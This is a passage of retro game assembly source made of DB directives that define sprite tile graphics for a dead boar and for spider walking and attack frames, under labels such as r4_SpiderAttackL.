DB $08,$FF,$3E,$FF,$FC,$FF,$C0,$C7
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$3C,$C3,$10,$EF,$10,$EF
DB $10,$EF,$01,$FE,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$1F,$FF,$3E,$80
DB $00,$00,$00,$C0,$00,$F0,$00,$F0
DB $00,$F0,$00,$F0,$00,$F0,$00,$F8
DB $00,$F8,$80,$78,$00,$F8,$00,$F8
DB $00,$F8,$00,$F8,$00,$FC,$00,$7E
r4_SpriteBoarDeadLEnd::
r4_SpriteBoarDeadR::
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$0F
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$F0
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$03,$00,$0F,$00,$0F
DB $00,$0F,$00,$0F,$00,$0F,$00,$1F
DB $00,$1F,$01,$1E,$00,$1F,$00,$1F
DB $00,$1F,$00,$1F,$00,$3F,$00,$7E
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$3C,$C3,$08,$F7,$08,$F7
DB $08,$F7,$80,$7F,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$F8,$FF,$7C,$01
DB $00,$FF,$00,$FF,$00,$FF,$3C,$FF
DB $0C,$FF,$08,$FF,$00,$FF,$00,$FF
DB $07,$F8,$02,$FD,$02,$FD,$00,$FF
DB $10,$FF,$7C,$FF,$3F,$FF,$03,$E3
DB $00,$C0,$00,$E0,$00,$EE,$00,$FC
DB $00,$F8,$00,$F8,$00,$F8,$00,$F8
DB $00,$F8,$00,$FC,$00,$FE,$00,$FF
DB $00,$FF,$00,$FF,$80,$FC,$80,$80
r4_SpriteBoarDeadREnd::
r4_SpiderL::
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$01,$01,$1F,$1F,$3F,$3F
DB $3F,$3F,$31,$3F,$35,$3F,$31,$3F
DB $3F,$3F,$1F,$1F,$7E,$7E,$48,$48
DB $48,$48,$48,$48,$08,$08,$00,$00
DB $FE,$FE,$FF,$FF,$FF,$FF,$FF,$FF
DB $FF,$FF,$FF,$FF,$FE,$FE,$F8,$F8
DB $E0,$E0,$C0,$C0,$F0,$F0,$98,$98
DB $C8,$C8,$48,$48,$48,$48,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$01,$01,$01,$01,$1F,$1F
DB $3F,$3F,$3F,$3F,$31,$3F,$35,$3F
DB $31,$3F,$3F,$3F,$1F,$1F,$36,$36
DB $22,$22,$22,$22,$22,$22,$22,$22
DB $FE,$FE,$FF,$FF,$FF,$FF,$FF,$FF
DB $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
DB $FC,$FC,$F0,$F0,$E0,$E0,$E0,$E0
DB $A0,$A0,$A0,$A0,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$01,$01,$1F,$1F
DB $3F,$3F,$3F,$3F,$31,$3F,$35,$3F
DB $31,$3F,$3F,$3F,$1F,$1F,$0B,$0B
DB $09,$09,$09,$09,$09,$09,$08,$08
DB $00,$00,$FE,$FE,$FF,$FF,$FF,$FF
DB $FF,$FF,$FF,$FF,$FF,$FF,$FE,$FE
DB $F8,$F8,$E0,$E0,$E0,$E0,$40,$40
DB $40,$40,$40,$40,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$01,$01,$1F,$1F,$3F,$3F
DB $3F,$3F,$31,$3F,$35,$3F,$31,$3F
DB $3F,$3F,$1F,$1F,$07,$07,$05,$05
DB $05,$05,$04,$04,$00,$00,$00,$00
DB $FE,$FE,$FF,$FF,$FF,$FF,$FF,$FF
DB $FF,$FF,$FF,$FF,$FE,$FE,$F8,$F8
DB $E0,$E0,$E0,$E0,$40,$40,$40,$40
DB $40,$40,$40,$40,$40,$40,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$01,$01,$1F,$1F,$3F,$3F
DB $3F,$3F,$31,$3F,$35,$3F,$31,$3F
DB $3F,$3F,$1F,$1F,$0F,$0F,$1C,$1C
DB $14,$14,$14,$14,$00,$00,$00,$00
DB $FE,$FE,$FF,$FF,$FF,$FF,$FF,$FF
DB $FF,$FF,$FF,$FF,$FE,$FE,$F8,$F8
DB $E0,$E0,$E0,$E0,$E0,$E0,$B0,$B0
DB $90,$90,$90,$90,$10,$10,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
r4_SpiderLEnd::
r4_SpiderR::
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $7F,$7F,$FF,$FF,$FF,$FF,$FF,$FF
DB $FF,$FF,$FF,$FF,$7F,$7F,$1F,$1F
DB $07,$07,$03,$03,$0F,$0F,$19,$19
DB $13,$13,$12,$12,$12,$12,$00,$00
DB $00,$00,$80,$80,$F8,$F8,$FC,$FC
DB $FC,$FC,$8C,$FC,$AC,$FC,$8C,$FC
DB $FC,$FC,$F8,$F8,$7E,$7E,$12,$12
DB $12,$12,$12,$12,$10,$10,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $7F,$7F,$FF,$FF,$FF,$FF,$FF,$FF
DB $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
DB $3F,$3F,$0F,$0F,$07,$07,$07,$07
DB $05,$05,$05,$05,$00,$00,$00,$00
DB $00,$00,$80,$80,$80,$80,$F8,$F8
DB $FC,$FC,$FC,$FC,$8C,$FC,$AC,$FC
DB $8C,$FC,$FC,$FC,$F8,$F8,$6C,$6C
DB $44,$44,$44,$44,$44,$44,$44,$44
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$7F,$7F,$FF,$FF,$FF,$FF
DB $FF,$FF,$FF,$FF,$FF,$FF,$7F,$7F
DB $1F,$1F,$07,$07,$07,$07,$02,$02
DB $02,$02,$02,$02,$00,$00,$00,$00
DB $00,$00,$00,$00,$80,$80,$F8,$F8
DB $FC,$FC,$FC,$FC,$8C,$FC,$AC,$FC
DB $8C,$FC,$FC,$FC,$F8,$F8,$D0,$D0
DB $90,$90,$90,$90,$90,$90,$10,$10
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $7F,$7F,$FF,$FF,$FF,$FF,$FF,$FF
DB $FF,$FF,$FF,$FF,$7F,$7F,$1F,$1F
DB $07,$07,$07,$07,$02,$02,$02,$02
DB $02,$02,$02,$02,$02,$02,$00,$00
DB $00,$00,$80,$80,$F8,$F8,$FC,$FC
DB $FC,$FC,$8C,$FC,$AC,$FC,$8C,$FC
DB $FC,$FC,$F8,$F8,$E0,$E0,$A0,$A0
DB $A0,$A0,$20,$20,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $7F,$7F,$FF,$FF,$FF,$FF,$FF,$FF
DB $FF,$FF,$FF,$FF,$7F,$7F,$1F,$1F
DB $07,$07,$07,$07,$07,$07,$0D,$0D
DB $09,$09,$09,$09,$08,$08,$00,$00
DB $00,$00,$80,$80,$F8,$F8,$FC,$FC
DB $FC,$FC,$8C,$FC,$AC,$FC,$8C,$FC
DB $FC,$FC,$F8,$F8,$F0,$F0,$38,$38
DB $28,$28,$28,$28,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
r4_SpiderREnd::
r4_SpiderAttackL::
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$01,$01
DB $1F,$1F,$3F,$3F,$3F,$3F,$31,$3F
DB $35,$3F,$31,$3F,$3F,$3F,$1F,$1F
DB $0F,$0F,$1C,$1C,$14,$14,$00,$00
DB $00,$00,$00,$00,$FE,$FE,$FF,$FF
DB $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
DB $FE,$FE,$F8,$F8,$E0,$E0,$E0,$E0
DB $E0,$E0,$B0,$B0,$90,$90,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$1F,$1F
DB $3F,$3F,$31,$3F,$35,$3F,$31,$3F
DB $3F,$3F,$20,$2E,$1F,$1F,$0F,$0F
DB $0E,$0E,$1C,$1C,$14,$14,$00,$00
DB $00,$00,$00,$00,$FE,$FE,$FF,$FF
DB $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
DB $FE,$FE,$F8,$F8,$E0,$E0,$E0,$E0
DB $A0,$A0,$B0,$B0,$90,$90,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $1F,$1F,$31,$3F,$3F,$3F,$3F,$3F
DB $20,$2E,$20,$3F,$30,$3F,$1F,$1F
DB $0F,$0F,$01,$01,$0F,$0F,$0A,$0A
DB $02,$02,$00,$00,$00,$00,$00,$00
DB $E0,$E0,$E0,$E0,$E0,$E0,$FE,$FE
DB $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
DB $FF,$FF,$FE,$FE,$F8,$F8,$F0,$F0
DB $B0,$B0,$90,$90,$90,$90,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $3F,$3F,$63,$7F,$7F,$7F,$7F,$7F
DB $41,$5D,$41,$7F,$61,$7F,$3F,$3F
DB $1F,$1F,$01,$01,$07,$07,$0A,$0A
DB $0A,$0A,$02,$02,$00,$00,$00,$00
DB $C0,$C0,$C0,$C0,$C0,$C0,$FE,$FE
DB $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
DB $FF,$FF,$FE,$FE,$F8,$F8,$F0,$F0
DB $B0,$B0,$90,$90,$90,$90,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$01,$01
DB $07,$07,$7F,$7F,$FF,$FF,$FF,$FF
DB $C7,$FF,$D7,$FF,$C7,$FF,$FF,$FF
DB $7F,$7F,$1C,$1C,$14,$14,$00,$00
DB $00,$00,$00,$00,$FE,$FE,$FF,$FF
DB $FF,$FF,$FF,$FF,$FF,$FF,$FE,$FE
DB $F8,$F8,$E0,$E0,$E0,$E0,$E0,$E0
DB $E0,$E0,$B0,$B0,$90,$90,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
r4_SpiderAttackLEnd::
r4_SpiderAttackR::
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$7F,$7F,$FF,$FF
DB $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
DB $7F,$7F,$1F,$1F,$07,$07,$07,$07
